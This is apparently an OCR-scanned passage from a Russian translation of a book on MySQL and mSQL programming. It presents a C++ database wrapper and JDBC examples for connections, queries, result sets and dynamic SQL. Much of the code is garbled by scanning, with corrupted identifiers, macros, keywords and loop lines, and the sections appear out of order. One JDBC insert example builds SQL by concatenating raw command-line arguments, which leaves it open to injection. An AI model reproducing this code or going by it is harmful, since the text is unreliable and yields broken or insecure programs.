    Result "Connection::Query(char *sql) { T_RESULT *res; int state;

    // Если нет соединения, делать нечего

    if( !lsConnected(-) ) { throw "Соединения нет.";

    }

    // Выполнить запрос

    #if defined(HAS_MSQL)

    state = msqlQuery(connection, sql);

    #elif defined(HAS_MYSQL)

    state = mysql_query(connection, sql);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если произошла ошибка

    if( state < 0 ) { throw GetError();

    }

    // Забрать результаты, если таковые имеются

    #if defined(HAS_MSQL)

    res = msqlStoreResult();

    #elif defined(HAS_MYSQL)

    res = mysql_store_result(connection);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если результат null, это было обновление или произошла ошибка

    // Примечание: mSQL не порождает ошибки в msqlStoreResult()

    if( res == (T_RESULT *)NULL ) {

    // Установить значение affected_rows равным возвращенному msqlQuery()

    #if defined(HAS_MSQL)

    affected_rows = state;

    #elif defined(HAS_MYSQL)

    // field_count != 0 означает, что произошла ошибка

    int field_count = mysql_num_fields(connection);

    if( field_count != 0 )

    {

    throw GetError();

    }

    else

    {

    // Запомнить affected_rows

    affected_rows = mysql_affected_rows(connection); }


    #else

    #error Нет соединения с базой данных,

    #endif

    //Возвратить NULL в случае обновления

    return (Result *)NULL; }

    // Для запроса возвратить экземпляр Result

    return new Result(res); }

    В начале обращения к базе данных делается вызов метода mysql_query() или msqlQuery() с передачей ему команды SQL, которую нужно выполнить. В случае ошибки оба API возвращают отличное от нуля значение. На следующем этапе вызываются mysql_store_result() или msqlStoreResult() , чтобы проверить, получены ли результаты, и сделать эти результаты доступными приложению. В этом месте две СУБД несколько отличаются в деталях обработки.

    В mSQL API метод msqlStoreResult() не генерирует ошибки. Эту функцию приложение использует для того, чтобы поместить полученный результирующий набор в хранилище, управлять которым будет приложение, а не mSQL API. Иными словами, при вызове msqlQuery() результаты запоминаются во временной области памяти, управляемой API. Последующие вызовы msqlQuery() затирают эту область памяти. Чтобы сохранить результат в области памяти вашего приложения, нужно вызвать msqlStoreResult() .

    Поскольку метод msqlStoreResult() не генерирует ошибку, при его вызове нужно рассматривать две возможности. Если обращение к базе данных было запросом, создавшим результирующий набор, то msqlStoreResult() возвращает указатель на структуру m_result, с которой может работать ваше приложение. При всех других типах обращения (обновление, вставка, удаление или создание) msqlStoreResult() возвращает NULL. Узнать количество строк, обработанных неизвлекающим данные запросом, можно из значения, возвращенного исходным вызовом msqlQuery() .

    Подобно msqlStoreResult() , метод mysql_store_result() используется для запоминания данных, возвращенных запросом, в области памяти приложения, но, в отличие от версии для mSQL, необходимо создать для mysql_store_result() некий обработчик ошибок. Именно, значение NULL, возвращенное mysql_store_result() , может означать и то, что запрос не предполагал возвращение результирующего набора, и ошибку при получении последнего. Вызов метода mysql__num_f ields() позволит определить истинную причину. Отличное от 0 значение счетчика полей свидетельствует о происшедшей ошибке. Число измененных строк можно определить при обращении к методу mysql_affected_rows() .*


    Другие методы класса Connection

    По всему классу Connection разбросаны два вспомогательных метода, IsConnected() и GetError(). Проверить состояния соединения просто — достаточно посмотреть значение атрибута connection. Оно должно быть не NULL для MySQL или отличным от -1 для mSQL. Напротив, сообщения об ошибках требуют некоторых пояснений.

    Извлечение сообщений об ошибках для mSQL просто и безыскусно, нужно лишь использовать значение глобальной переменной msqlErrMsg . Ее значение точно совпадает с тем, что возвращает от mSQL метод GetError(). С MySQL дело обстоит несколько сложнее. При обработке любых сообщений об ошибках необходимо учитывать многопоточность. В многопоточной среде обработка ошибок осуществляется путем получения сообщений об ошибках с помощью функции mysql_error() . В примере 13-7 показаны обработка ошибок для MySQL и mSQL в методе GetError(), а также проверка соединения в методе IsConnected() .

    Пример 13-7. Чтение сообщений об ошибках и другие вспомогательные задачи класса Connection

    int Connection::GetAffectedRows() {

    return affected_rows; }

    char 'Connection::GetError() {

    #if defined(HAS_MSQL)

    return msqlErrMsg:

    #elif defined(HAS_MYSQL)

    if( IsConnected() ) {

    return mysql_error(connection); }

    else {

    return mysql_error(&mysql); }

    #else

    #error Нет соединения с базой данных,

    #endif }

    int Connection::IsConnected() {

    #if defined(HAS_MSQL)

    return !(connection < 0);

    #elif defined(HAS_MYSQL)

    return !(iconnection);

    #else

    #error Нет соединения с базой данных,

    #endif

    )

    Проблемы при обработке ошибок

    Хотя обрабатывать ошибки, как это описано выше, несложно благодаря инкапсуляции обработки в простой вызов API в классе Connection , следует остерегаться некоторых потенциальных проблем. Во-первых, при работе с mSQL обработка ошибок осуществляется глобально в пределах приложения. Если приложение поддерживает несколько соединений, значение msqlErrMsg относится к последней ошибке последнего вызова какой-либо функции mSQL API. Следует также учесть, что хотя mSQL - однопоточное приложение, можно создавать многопоточные приложения, использующие mSQL, но проявлять крайнюю осторожность при извлечении сообщений об ошибках. Именно, необходимо написать собственный API, корректно работающий с потоками поверх mSQL С API, который копирует сообщения об ошибках и связывает их с соответствующими соединениями.


    Обе СУБД управляют и сохраняют сообщения об ошибках внутри своих соответствующих API. Поскольку вы не распоряжаетесь этой деятельностью, может возникнуть другая проблема, связанная с запоминанием сообщений об ошибках. В нашем C++ API обработка ошибок . происходит сразу после их возникновения и до того, как приложение сделает новое обращение к базе данных. Если мы хотим продолжить обработку и лишь позднее заняться ошибками, сообщение об ошибке следует скопировать в область памяти нашего приложения.

    Результирующие наборы

    Класс Result абстрагируется от понятий результатов MySQL и mSQL. Он должен обеспечивать доступ как к данным результирующего набора, так и к сопутствующим этому набору метаданным. Согласно объектной модели на рис. 13-1, наш класс Result будет поддерживать циклический просмотр строк результирующего набора и получение числа строк в нем. Ниже в примере 13-8 приведен заголовочный файл класса Result.

    Пример 13-8. Интерфейс класса Result в result.h

    #ifndef 1_result_h

    #define 1_result_h

    #include

    #if defined(HASJSQL)

    #include

    #elif defined(HAS_MYSQl)

    #include

    #endif

    #include "row.h"

    class Result { private:

    int row_count;

    T_RESULT *result;

    Row *current_row;

    public:

    Result(T_RESULT *);

    ~Result();

    void Close();

    Row *GetCurrentRow();

    int GetRowCount();

    int Next(); };

    #endif // l_result_h

    Перемещение по результатам

    Наш класс Result позволяет работать с результирующим набором построчно. Получив экземпляр класса Result в результате обращения к методу Query() , приложение должно последовательно вызывать Next() и GetCurrentRow(), пока очередной Next() не возвратит 0. Пример 13-9 показывает, как выглядят эти действия для MySQL и mSQL.

    Пример 13-9. Перемещение по результирующему набору

    int Result::Next() { T_ROW row;

    if( result == (T_RESULT *)NULL ) {

    throw "Результирующий набор закрыт.";

    }

    #if defined(HAS_MSQL)

    row = msqlFetchRow(result);

    #elif defined(HAS_MYSQL)


    row = mysql_fetch_row(result);

    #else

    #error Нет соединения с базой данных,

    #endif if( ! row )

    {

    current_row = (Row *)NULL;

    return 0;

    }

    else

    {

    current_row = new Row(result, row);

    return 1;

    }

    }

    Row 'Result::GetCurrentRow()

    {

    if( result == (T_RESULT *)NULL )

    { throw "Результирующий набор закрыт.";

    }

    return current_row; }

    Заголовочный файл row.h в примере 13-11 определяет T_ROW и T_RESULT в зависимости от того, для какого ядра базы данных компилируется приложение. Перемещение к следующей строке в обеих базах данных осуществляется одинаково и просто. Вы вызываете mysql_fetch_row() или msqlFetchRow() . Если вызов возвращает NULL, значит, необработанных строк не осталось.

    В объектно-ориентированной среде это единственный тип навигации, которым вы должны пользоваться. API для базы данных в объектно-ориентированном программировании существует лишь для обеспечения извлечения данных, а не их обработки. Обработка данных должна быть заключена в объектах доменов. Однако не все приложения являются объектно-ориентированными. MySQL и mSQL предоставляют функции, позволяющие перемещаться к определенным строкам в базе данных. Это методы mysql_data_seek() mnsqlDataSeek() соответственно.

    Освобождение ресурсов и подсчет строк

    Приложения баз данных должны освобождать после себя ресурсы. Обсуждая класс Connection, мы отметили, как результирующие наборы, порождаемые запросом, помещаются в память, управляемую приложением. Метод Close() класса Result освобождает память, занятую этим результатом. Пример 13-10 показывает, как освободить ресурсы, занятые результатом, и получить количество строк в нем.

    Пример 13-10. Освобождение ресурсов и подсчет числа строк

    void Result::Close() {

    if( result == (T_RESULT *)NULL ) { return;

    }

    #if defined(HAS_MSQL)

    msqlFreeResult(result);

    #elif defined(HAS_MYSQL)

    mysql_free_result(result);

    #else

    #error Нет соединения с базой данных, ftendif

    result = (TJESULT *)NULL; '

    }

    int Result::GetRowCount()

    {


    if( result == (T_RESULT *)NULL )

    {

    throw "Результирующий набор закрыт.";

    }

    if( row_count > -1 )

    {

    return row_count;

    }

    else

    {

    #if defined(HAS_MSQL)

    row_count = msqlNumRows(result);

    #elif defined(HAS_MYSQL)

    row_count = mysql_num_rows(result);

    #else

    #error Нет соединения с базой данных,

    #endif

    return row_count;

    }

    }

    Строки

    Отдельная строка результирующего набора представляется в нашей объектной модели классом Row. Класс Row позволяет приложению извлекать отдельные поля строки. В примере 13-11 показано объявление класса Row.

    Пример 13-11. Объявление класса Row в row.h

    #ifndef l_row_h

    #define l_row_h

    #include

    #if defined(HAS_MSQL)

    #include

    #define T_RESULT m_result

    #define T_ROW m_row

    #elif defined(HAS_MYSQL)

    #include

    #define T_RESULT MYSQL_RES

    #define T_ROW MYSQL_ROW

    #endif

    class Row { private:

    T_RESULT 'result;

    T_ROW fields;

    public:

    Row(T_RESULT *, T_ROW);

    ~Row();

    char *GetField(int);

    int GetFieldCount();

    int IsClosed();

    void Close();

    };

    #endif // l_row_h

    В обоих API есть макросы для типов данных, представляющие результирующий набор и строку внутри него. В обоих API строка является массивом строк, содержащих данные этой строки, и ничем более. Доступ к этим данным осуществляется по индексу массива в порядке, определяемом запросом. Например, для запроса SELECT user_id , password FROM users индекс 0 указывает на имя пользователя и индекс 1 -на пароль. Наш C++ API делает это индексирование несколько более дружественным для пользователя. GetField(1) возвратит первое поле, или f ields[0]. Пример 13-12 содержит полный листинг исходного кода для класса Row.

    Пример 13-12. Реализация класса Row

    #include

    #include "row.h"

    Row::Row(T_RESULT *res, T_ROW row) {

    fields = row;

    result = res; }

    Row::"Row() {

    if( ! IsClosed() ) {

    Close();

    }

    }

    void Row::Close() {

    if( IsClosed() ) {

    throw "Строка освобождена.";


    }

    fields = (T_ROW)NULL;

    result = (T_RESULT *)NULL;

    }

    int Row::GetFieldCount()

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    } #if defined(HASJISQL)

    return msqlNumFields(result);

    #elif defined(HAS_MYSQL)

    return mysql_num_fields(result);

    #else

    #error Нет соединения с базой данных,

    #endif }

    // При вызове этого метода нужно быть готовым

    // к тому, что может быть возвращен

    NULL, char *Row::GetField(int field)

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    }

    if( field < 1 || field > GetFieldCount() .)

    { throw "Индех лежит вне допустимых значений.";}

    return fields[field-1]; }

    int Row::IsClosed() {

    return (fields == (T_ROW)NULL); }

    Пример приложения, использующего эти классы C++, прилагается к книге.

    Что такое JDBC?

    Как и все Java API, JDBC является набором классов и интерфейсов, в совокупности поддерживающих определенный набор функций. В случае JDBC эти функции обеспечивают доступ к базе данных. Классы и интерфейсы, составляющие JDBC API, являются, таким образом, абстракциями понятий, общих при доступе к базам данных любого типа. Например, Connection является интерфейсом Java, представляющим соединение с базой данных. Аналогично ResultSet представляет результирующий набор данных, возвращаемый командой SQL SELECT. Классы, образующие JDBC API, находятся в пакете Java, sql, который был введен Sun в JDK 1.1.

    Естественно, что конкретные детали доступа к базе данных зависят от ее изготовителя. JDBC фактически не имеет дела с этими деталями. Большая часть классов в пакете Java.sql является интерфейсами без реализации. Реализация этих интерфейсов осуществляется производителем базы данных в виде драйвера JDBC. В качестве программиста баз данных вам нужно знать очень немногое относительно драйвера, который вы используете, — все остальное делается через интерфейсы JDBC. Специфическая информация о базе данных, которая необходима для использования JDBC, включает в себя:

  • URL для драйвера JDBC.

  • Имя класса, реализующего Java. sql. Driver.

    Что такое JDBC?В новую спецификацию JDBC 2.0 включено необязательное для реализации производителями баз данных стандартное расширение API. Если поставщик вашей базы данных JDBC реализовал это стандартное расширение, вам даже нет необходимости знать JDBC URL или реализацию класса Driver. Это расширение предусматривает наличие класса DataSource, который можно найти по имени в каталоге с поддержкой JNDI.

    Оба эти элемента можно получить во время выполнения - из командной строки или файла свойств. Сам код программы не ссылается на эти два зависящие от реализации элемента. Мы разъясним, что делают JDBC URL и класс Driver в тех параграфах, где будем рассказывать о соединении с базами данных. На рисунке 14-1 представлена схема интерфейсов JDBC.

    JNDI - Java Naming and Directory Interface (интерфейс имен и каталогов Java) API. Он позволяет запоминать объекты Java в службе имен и каталогов, такой как сервер Lightweight Directory Access Protocol (облегченный протокол доступа к каталогам - LDAP), и находить их по имени.


    Что такое JDBC?

    Рис. 14-1. Классы и интерфейсы, входящие в JDBC API

    Соединение с базой данных

    Прежде всего нужно соединиться с базой данных. Один из немногих реализованных в пакете Java. sql. package классов - это класс DriverManager. Он поддерживает список реализаций JDBC и обеспечивает создание соединений с базами данных на основе сообщаемых ему JDBC URL. URL для JDBC имеет вид jdbc:protocol:subprotocol. Он сообщает DriverManager, с какой СУБД нужно соединиться, и передает ему данные, необходимые для осуществления соединения.

    Что такое JDBC?Смысл слова "driver" в JDBC зависит от контекста. При написании в нижнем регистре JDBC driver является собранием классов, в совокупности реализующих все интерфейсы JDBC и обеспечивающих приложение доступом хотя бы к одной базе данных. При написании Driver с заглавной буквы подразумевается класс, реализуемый в Java. sql. Driver. И наконец, JDBC предоставляет интерфейс DriverManager, с помощью которого можно вести учет всех различных реализаций Driver.

    Часть URL, обозначающая протокол, ссылается на конкретный драйвер JDBC. В случае MySQL и mSQL протоколами являются ту sql и msql соответственно. Субпротокол сообщает данные соединения, специфические для реализации. Для соединения с MySQL и mSQL требуются имя узла и имя базы данных. Дополнительно может потребоваться номер порта, если ядро базы данных запущено не как root. Поэтому полный URL для mSQL выглядит как, например, jdbc:msql://athens.imagi-nary.com: 1114/test. Он сообщает DriverManager о необходимости найти драйвер JDBC для mSQL и соединиться с базой данных test на athens.imaginary.com через порт 1114. Это делается путем единственного обращения к методу getConnection() интерфейса DriverManager. В примере 14-1 показано, как осуществить соединение с базой данных mSQL.

    Пример 14-1. Отрывок кода из примеров, предоставляемых с драйвером JDBC для mSQL, показывающий, как осуществить соединение

    import java.sql.*;

    public class Connect { public static void main(String argv[]) {

    Connection con = null;


    try {

    // Вот JDBC URL для этой базы данных

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    // 0 том, что делают классы Statement и ResultSet, ниже Statement stmt; ResultSet rs;

    // передать это как свойство, т.е.

    // -Djdbc.drivers=com.imaginary.sql.msql.MsqlDriver

    // или загрузить, как сделано в этом примере

    Class.fоrName("com.imaginary, sql. msql. MsqlDriver");

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    }

    catch( SQLException e ) {

    e.printStackTrace(); }

    finally {

    if( con != null ) {

    try { con.close();

    }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере соединение с базой данных осуществляется в строке con=DriverManager.getConnection(url, "borg", ""). В данном случае JDBC URL и имя класса, реализующего Driver, фактически введены в код приложения. В демонстрационной программе это допустимо, но всякое серьезное приложение должно загружать эти данные из файла свойств, получать через аргументы командной строки или из свойств системы. Реализация Driver будет автоматически загружена, если передать ее как системное свойство jdbc.drivers - иными словами, не нужно вызывать Class. ForName(). newlnstance(driver_name), если вы передаете имя драйвера как системное свойство jdbc.drivers. Второй и третий аргументы getConnection() передают ID пользователя и пароль, необходимые для установления соединения. Поскольку mSQL не использует пароли для авторизации пользователей, в примере используется пустая строка. Для MySQL же необходимо сообщить пароль.

    Поддержка переносимости с помощью файлов свойств

    Хотя наше внимание сосредоточено на двух конкретных базах данных, хорошей практикой программирования на Java является обеспечение полной переносимости приложений. Под переносимостью обычно подразумевается, что вы не пишете код, предназначенный для выполнения только на какой-то одной платформе. Однако для Java термин "переносимость" имеет более сильный смысл. Он означает независимость от аппаратных ресурсов и независимость от базы данных.


    Мы сказали о том, что JDBC URL и имя Driver зависят от реализации, но не сказали, как избежать их включения в код. Поскольку и то, и другое представляет собой простые строки, их можно передать в качестве параметров командной строки или как параметры апплетов. Это работающее, но едва ли элегантное решение, поскольку оно требует, чтобы пользователь помнил длинные командные строки. Аналогичное решение - выдавать пользователю приглашение для ввода этих данных, которое опять-таки требует, чтобы пользователь вспоминал JDBC URL и имя класса Java при каждом запуске приложения.

    Более изящное решение получается при использовании файла свойств. Файлы свойств поддерживаются классом Java. util. Resource-Bundle и его подклассами, позволяя приложению извлекать данные, относящиеся ко времени исполнения, из текстового файла. Для приложения, использующего JDBC, можно вставить в файл свойств URL и имя Driver, возложив на администратора приложения обязанность указать детали соединения. Пример 14-2 показывает файл свойств,

    предоставляющий данные о соединении.

    Пример 14-2. Файл SelectResource.properties с подробностями соединения

    Driver=com.imaginary.sql.msql.MsqlDriver

    URL=jdbc:msql://athens.imaginary.com:1114/db_test

    В примере 14-3 показан переносимый класс Connection.

    Пример 14-3. Специфические данные

    import java.sql.*; import java.util.*;

    public class Connect {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");

    Statement stmt; ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", ""); }

    catch( SQLException e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере установления соединения мы избавились от кода, специфичного для mSQL. Однако для разработчиков переносимых JDBC-приложений остается одна важная проблема, особенно касающаяся тех, кто работает с mSQL. JDBC требует, чтобы все драйверы поддерживали начальный уровень (entry level) SQL2. Это стандарт ANSI минимальной поддержки SQL. Если при вызовах JDBC вы поддерживаете начальный уровень SQL2, то ваше приложение будет стопроцентно переносимо на другие базы данных. MySQL поддерживает минимальный уровень SQL2, a mSQL - увы, нет. Приложения, написанные для mSQL, скорее всего, без проблем будут переноситься на другие базы данных, но приложения, написанные с использованием начального уровня SQL92, в полном объеме нельзя будет безболезненно перенести обратно на mSQL.



    Динамический доступ к базе данных

    До сих пор мы имели дело с приложениями, в которых во время компиляции точно известно, что нужно будет делать. Если бы это был единственный тип поддержки, обеспечиваемый JDBC, никто не смог бы написать для Mysql и msql интерактивные инструменты командной строки, способные во время исполнения принимать команды SQL и выполнять их. Класс JDBC Statement поддерживает метод execute() для выполнения SQL-команд, которые могут быть запросами или обновлениями. Кроме того, экземпляры ResultSet обеспечивают предоставление о себе информации времени исполнения через интерфейс с именем ResultSetMetaData, доступ к которому осуществляется через вызов метода getMetaData() для ResultSet.

    Метаданные

    Термин метаданные звучит официозно, но на самом деле это не более чем дополнительные данные о некотором объекте, которые, если бы действительно хранились в объекте, просто зря тратили бы ресурсы. Например, для простых приложений не нужны имена колонок, связанных с результирующим набором ResultSet: программисту они, скорее всего, известны во время написания программы. Поэтому помеще

    ние этих дополнительных данных в класс ResultSet не рассматривается разработчиками JDBC как нечто существенное для функциональности ResultSet. Однако в некоторых случаях программирования баз данных i такие вещи, как имена колонок, очень важны, особенно при осуществлении динамического доступа к базам данных. Доступ к этим дополнительным данным - метаданным - разработчики JDBC обеспечили через интерфейс ResultSetMetaData. Этот класс позволяет узнать:

  • Число колонок в результирующем наборе.

  • Является ли NULL допустимым значением в колонке.

  • Метку, используемую для заголовка колонки.

  • Имя заданной колонки.

  • Таблицу, служащую источником данных для данной колонки.

  • Тип данных колонки.

    Другим примером класса, поставляемым вместе с драйвером mSQL-JDBC, является приложение Exec. Оно принимает любую команду SQL, задаваемую в командной строке, и выполняет ее. В примере 14-6 приводится соответствующий исходный код.


    Пример 14-6. Исходный код приложения Exec для выполнения динамического SQL

    import java.sql.*;

    public class Exec {

    public static void main(String args[]) {

    Connection con = null; String sql = "";

    for(int i=0; i
    sql = sql + args[i];

    if( i < args.length - 1 ) {

    sql = sql + " ";

    }

    }

    System, out. рrintln("Выполнение: " + sql);

    try {

    Class.forName("com.imaginary. sql.msql.MsqlDriver").newlnstance();

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    con = DriverManager.getConnection(url, "borg", "");

    Statement s = con.createStatement();

    if( s.execute(sql) ) {

    ResultSet r = s.getResultSet();

    ResultSetMetaData meta = r.getMetaData();

    int cols = meta.getColumnCount();

    int rownum = 0;

    while( r.next() ) { rownum++;

    System, out. println("Crpокa: " + rownum);

    for(int i=0; i
    System.out.print(meta.getColumnLabel(i+1) + ": ' + r.getObject(i+1) + ", ");

    }

    System.out.println("");

    }

    }

    else

    {

    System.out.println(s.getUpdateCount() + " строк обработано.");

    }

    s.close();

    con.close();

    }

    catch( Exception,e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close();

    }

    catch( SQLException e ) { }

    }

    }

    }

    }

    Для каждого результирующего набора обеспечивается получение экземпляра ResultSetMetaData с помощью метода getMetaData(). При динамическом доступе к базе данных необходимо узнать, сколько колонок в результирующем наборе, чтобы с уверенностью извлечь все колонки и их имена для вывода пользователю. Метаданные нашего результирующего набора обеспечивают получение всех этих данных с помощью методов getColumnCount() и getColumnLabel().

    Обработка динамического SQL

    В примере 14-6 введено понятие динамического вызова SQL. Поскольку мы не знаем, будет это запрос на получение данных или обновление, нужно передать вызов SQL через метод execute (). Этот метод возвращает true, если команда возвратила результирующий набор, и false в противном случае. В нашем примере, если возвращается true, то приложение получает возвращаемый ResultSet через вызов метода getResultSet(). Затем приложение может перейти к обычной обработке результирующего набора. Если, напротив, команда произвела какую-либо модификацию базы данных, можно вызвать метод getUpdateCu-unt() для подсчета числа строк, модифицированных командой.



    К несчастью, каждый API позволяет

    Java u JDBC

    В главе 13 "Си C++", мы познакомили вас с С API для MySQL и mSQL. К несчастью, каждый API позволяет писать программы только для той базы данных, которую он поддерживает. Если вы собираетесь переносить приложение между MySQL и mSQL или, того хуже, хотите, чтобы оно работало на Oracle, Sybase или с любой другой СУБД, вам необходимо переписать свой код так, чтобы он использовал фирменный API этого ядра. Однако Java-программисты по большей части избавлены от проблем переносимости на другую базу данных. У них есть единый API, Java DataBase Connectivity API (JDBC), обеспечивающий их унифицированным интерфейсом ко всем SQL-базам данных.

    Поскольку JDBC является единым интерфейсом ко всем базам данных, достаточно изучить его, чтобы писать приложения, которые будут работать как с MySQL, так и с mSQL. На самом деле, если должным образом использовать JDBC, то написанные вами на Java приложения смогут работать с любой СУБД. Если у вас есть доступ к другим базам данных, кроме MySQL и mSQL, можете проверить верность этого утверждения, запустив примеры данной главы с другой базой данных.

    Для чтения этой главы предполагается знание основ языка программирования Java и лежащих в его основе концепций. Если такой подготовки у вас нет, настоятельно рекомендуем посмотреть "Exploring Java" (O'Reilly & Associates, Inc.). Узнать более подробно о том, как создавать многоуровневые приложения баз данных, о чем мы рассказывали в главе 8 "Архитектуры приложений баз данных", можно из книги "Database Programming with JDBC and Java" (O'Reilly & Associates, Inc.).



    Простой доступ к базе данных

    В примере Connect делалось не много. В нем было просто показано, как соединиться с базой данных. В соединении с базой данных нет пользы, пока вы не начинаете действительно обмениваться с ней данными. Простейшие виды доступа к базе данных - команды SELECT, INSERT, UPDATE и DELETE. В JDBC API вы используете экземпляр Connection для создания экземпляров класса Statement. Класс Statement представляет SQL-команду любого типа. В примере 14-4 показано, как вставить строку в базу данных, используя Statement.

    Пример 14-4. Вставка строки в mSQL с помощью объекта JDBC Statement

    import Java, sql.*;
    import Java, util.*;

    public class Insert {

    // Делаем вставку в таблицу, имеющую две колонки: test_id (int)

    // и test_val (char(55))

    // args[0] - это test_id, a args[1] - test_val

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");
    Statement stmt;

    Class.forName(bundle.getString("Driver"));

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    stmt = con.createStatement();

    stmt.executeUpdate("INSERT INTO test (test_id, test_val) " +

    "VALUES(" + args[0] + ", '," + args[1] + ")");
    }
    catch( SQLException e )
    {

    e. printStackTrace();
    }
    finally
    {

    if( con != null )
    {

    try { con.close();
    }
    catch( Exception e ) { }

    }
    }
    }
    }

    В реальном приложении мы бы, конечно, проверили, что пользователь ввел значение типа INT для test_id, что оно уникально, и что длина введенного значения test_val не превышает 55 символов. Тем не менее пример показывает, как просто осуществлять вставку данных. Метод createStatement() делает то, о чем говорит его название: создает пустую SQL-команду, связанную с рассматриваемым соединением - объектом Connection. Затем метод executeUpdate() передает заданную строку SQL базе данных для выполнения. Как подсказывает название, executeUp-date() ожидает команды SQL, которая некоторым образом модифицирует базу данных. Вы можете использовать ее, чтобы вставлять новые строки, как показано выше, либо удалять строки, обновлять строки, создавать новые таблицы или производить любые другие изменения в базе данных.


    Запросы выполнять немного сложнее, чем обновления, поскольку они возвращают информацию из базы данных в виде объекта ResultSet. ResultSet является интерфейсом, представляющим 0 или более строк, являющихся результатом запроса, обращенного к базе данных. В классе JDBC Statement имеется метод executeQuery(), работающий подобно executeUpdate(), за исключением того, что он возвращает из базы данных ResultSet. Метод executeQuery() возвращает ровно один ResultSet, тем не менее имейте в виду, что JDBC поддерживает извлечение множественных результирующих наборов для тех баз данных, которые это позволяют. Ни MySQL, ни mSQL не поддерживают множественные результирующие наборы. Однако важно помнить о такой возможности, когда вы изучаете код для работы с иным ядром базы данных, написанный кем-то другим. В примере 14-5 показан простой запрос. На рис. 14-2 изображена модель данных з таблице test.

    Пример 14-5. Простой запрос

    import Java, sql.*;

    import Java, util.*;

    public class Select {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle =ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL"); Statement stmt;

    ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager,getConnection(url, "borg", "");

    stmt = con.createStatement();

    rs = stmt .executeQuery("SFI FCT* from test ORDER BY test_id");

    System, out.print In("Полученные результаты:");

    while(rs. next()) {

    int a= rs.getInt("test_icT);

    String str = rs.getString("test_val");

    System.out.print(" ключ= " + a);

    System.out.print(" строка= " + str);

    System.out.print("\n");

    }

    stmt.close();

    }

    catch( SQLException e )

    {

    e. printStackTrace();

    }

    finally {

    if( con != null ) {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    Приложение Select выполняет запрос и затем проходит по всем строкам ResultSet с помощью метода next(). До первого обращения к next() ResultSet не указывает ни на какую строку. Каждый вызов next () настраивает ResultSet на следующую строку. JDBC 2:0 вводит понятие результирующего набора с перемещением (scrollable). Если ваш экземпляр ResultSet позволяет перемещение, можно также обращаться к методу previous() для перемещения по результирующему набору в обратном направлении. Обработка строк заканчивается, когда next () возвращает false.


    Простой доступ к базе данных

    Рис. 14-2. Таблица test из учебной базы данных

    Работа со строкой означает получение значений для каждой колонки. Каково бы ни было значение в базе данных, можно использовать методы ResultSet для получения значения колонки с любым типом данных Java, который вас устраивает. В приложении Select вызов метода gе tInt() возвращал колонку test_id как int, а вызов getString() возвращал значение колонки test_val как String. Эти методы получения значения колонки принимают либо номер колонки, начиная с 1, либо ее имя. Следует, однако, всеми силами избегать извлечения значений с помощью имен колонок, поскольку такой способ значительно медленнее, чем получение их с помощью номеров колонок.

    Обработка ошибок и освобождение ресурсов

    Все методы JDBC могут возбуждать SQLException или один из подклассов этого класса, если что-то происходит при обращении к базе данных. Ваш код должен уметь перехватывать исключительную ситуацию, обрабатывать ее и освобождать все размещенные в памяти ресурсы базы данных. Все перечисленные до сих пор классы JDBC имеют метод close(). Однако на практике вы должны обеспечить закрытие только тех объектов, которые вызваны процессами, продолжающими оставаться открытыми. В приведенных до сих пор примерах практически требовалось закрыть только соединение с базой данных. При закрытии соединения автоматически закрываются все связанные с ним команды и результирующие наборы. Однако если вы намерены сохранить соединение открытым в течение некоторого времени, будет правильным поспешить закрыть все объекты statement, которые вы создали с использованием этого соединения, когда они вам больше не нужны. В примерах JDBC, которые вы видели, это освобождение ресурсов производится в предложении finally. Это делается для того, чтобы обеспечить закрытие соединения независимо от того, что произойдет.



    Серверное приложение гостевой книги

    Вы, вероятно, немало слышали об апплетах Java. Однако в главе 8 мы говорили о том, что доступ к базам данных на стороне клиента является плохой идеей. В примеры к этой книге мы включили реальное приложение, использующее сведения о JDBC, изложенные в этой главе, для создания класса Java на стороне сервера. Такие приложения называются сервлеты (servlet). Хотя серверные приложения сами по себе не являются частью трехзвенной архитектуры, обсуждавшейся нами в главе 8, данный пример хорошо иллюстрирует возможности использования JDBC. Это серверное приложение является Web-страницей, позволяющей посетителям вашего сайта оставить свое мнение о нем. Оставленные комментарии могут просматриваться другими посетителями. Все, что вам нужно знать о серверных приложениях для понимания этого примера, это то, что метод doPost() обрабатывает события HTTP POST, a de-Get () обрабатывает события HTTP GET.

    В этом приложении две части: часть get и часть post. В обеих частях производится вызов метода printComments() для показа комментариев, оставленных в гостевой книге. В этом методе мы находим нечто, не встречавшееся нам в простых предыдущих примерах: вызов метода wasNull() после каждого извлечения значения колонки. Как и можно предположить из названия, wasNull() возвращает t rue, если последнее извлеченное значение было NULL в смысле SQL. В вызовах, возвращающих объект Java, значение обычно будет NULL, если при чтении из базы данных был получен NULL. Использование wasNull() в таких случаях может показаться излишним. Однако для простых типов данных выборка может возвращать допустимое значение. Метод wasNull() позволяет узнать, не было ли в базе данных значения NULL. Например, NULL в колонке целого типа возвращает 0 при вызове getlnt(). Чтобы узнать, что было в колонке - 0 или NULL, нужно вызвать wasNull().

    Часть III.

    Справочник

    В этой части приводится справочная информация по всем API и утилитам, упоминаемым в книге.



    MSQLSQL

    CREATE

    CREATE TABLE name field_name field_type, [field2 type2, ...]
    CREATE SEQUENCE ON table [STEP value] [VALUE value]
    CREATE INDEX name ON table ( column, ...)

